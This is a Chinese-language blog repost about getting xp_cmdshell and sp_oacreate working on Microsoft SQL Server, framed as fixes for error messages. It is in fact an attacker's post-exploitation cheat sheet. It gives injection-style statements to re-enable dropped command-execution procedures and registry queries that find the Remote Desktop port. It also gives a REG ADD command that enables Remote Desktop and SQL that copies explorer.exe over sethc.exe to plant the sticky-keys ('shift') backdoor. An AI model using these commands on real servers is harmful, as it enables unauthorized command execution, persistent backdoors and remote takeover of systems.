十里八乡百亩愿景
我有一个梦想(I have a dream),比如先种十里桃花!

导航

 

错误一:Error Message:未能找到存储过程 ‘master..xp_cmdshell’。

第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’
服务器: 消息 3701,级别 11,状态 5,行 1
第二步恢复:
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
直接恢复,不管sp_addextendedproc是不是存在


错误二:修复“拒绝访问”错误:
Net1
Dir net.exe /s /p

错误三:Error Message:SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程 ‘sys.xp_cmdshell’ 的访问,
因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。
有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
修复方法:
;EXEC sp_configure ‘show advanced options’, 1 –
;RECONFIGURE WITH OVERRIDE –
;EXEC sp_configure ‘xp_cmdshell’, 1 –
;RECONFIGURE WITH OVERRIDE –
;EXEC sp_configure ‘show advanced options’, 0 –

错误四:Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)
修复方法:
SQLtools工具–文件管理–C盘–寻找数据库路径–复制(c:\Program Files\Microsoft SQL Server\MSSQL\Binn\)xplog70.dl路径
SQLtools工具–SQL命令–执行如下:
第一步.
exec sp_dropextendedproc ‘xp_cmdshell’
第二步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 –

错误五:Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。
修复方法:
第一步
exec sp_dropextendedproc ‘xp_cmdshell’
第二步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 –

错误六:Message:在执行 xp_cmdshell 的过程中出错。调用 ‘CreateProcess’ 失败,错误代码: ’5′。
错误‘5’是个系统提示的错误号,CreateProcess这个是创建线程的意思,这个错误产生和系统文件cmd.exe有很大的关系,一种情况是cmd被删除,一种是cmd的权限被降低了.
SQL查看终端端口及开放情况:
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,'PortNumber’
好了,下面关键的地方了,要用到两条sql指令,将系统的explorer文件复制为系统的shift后门文件,下面两条语句为分别执行的。
这条语句将explorer.exe复制为sethc.exe
declare @o int exec sp_oacreate ‘scripting.filesystemobject’, @o out exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\explorer.exe’,'c:\windows\system32\sethc.exe’;
这条语句将sethc.exe复制到dllcache目录下
declare @oo int exec sp_oacreate ‘scripting.filesystemobject’, @oo out exec sp_oamethod @oo, ‘copyfile’,null,’c:\windows\system32\sethc.exe’,'c:\windows\system32\dllcache\sethc.exe’;
另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll这个文件,所以这个文件的存亡,关系到创建的成功与否。

错误七:出现3389无法连接的情况:
1.没有开启3389
2.终端端口被改变8888
3.内网
修复方法:
开3389:
Cmd 命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Sql命令
查看3389端口

exec xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,'PortNumber’

 

转自:http://blog.csdn.net/yabingshi_tech/article/details/18654023

posted on 2017-08-25 11:32  原驰一哥  阅读(2001)  评论(0编辑  收藏  举报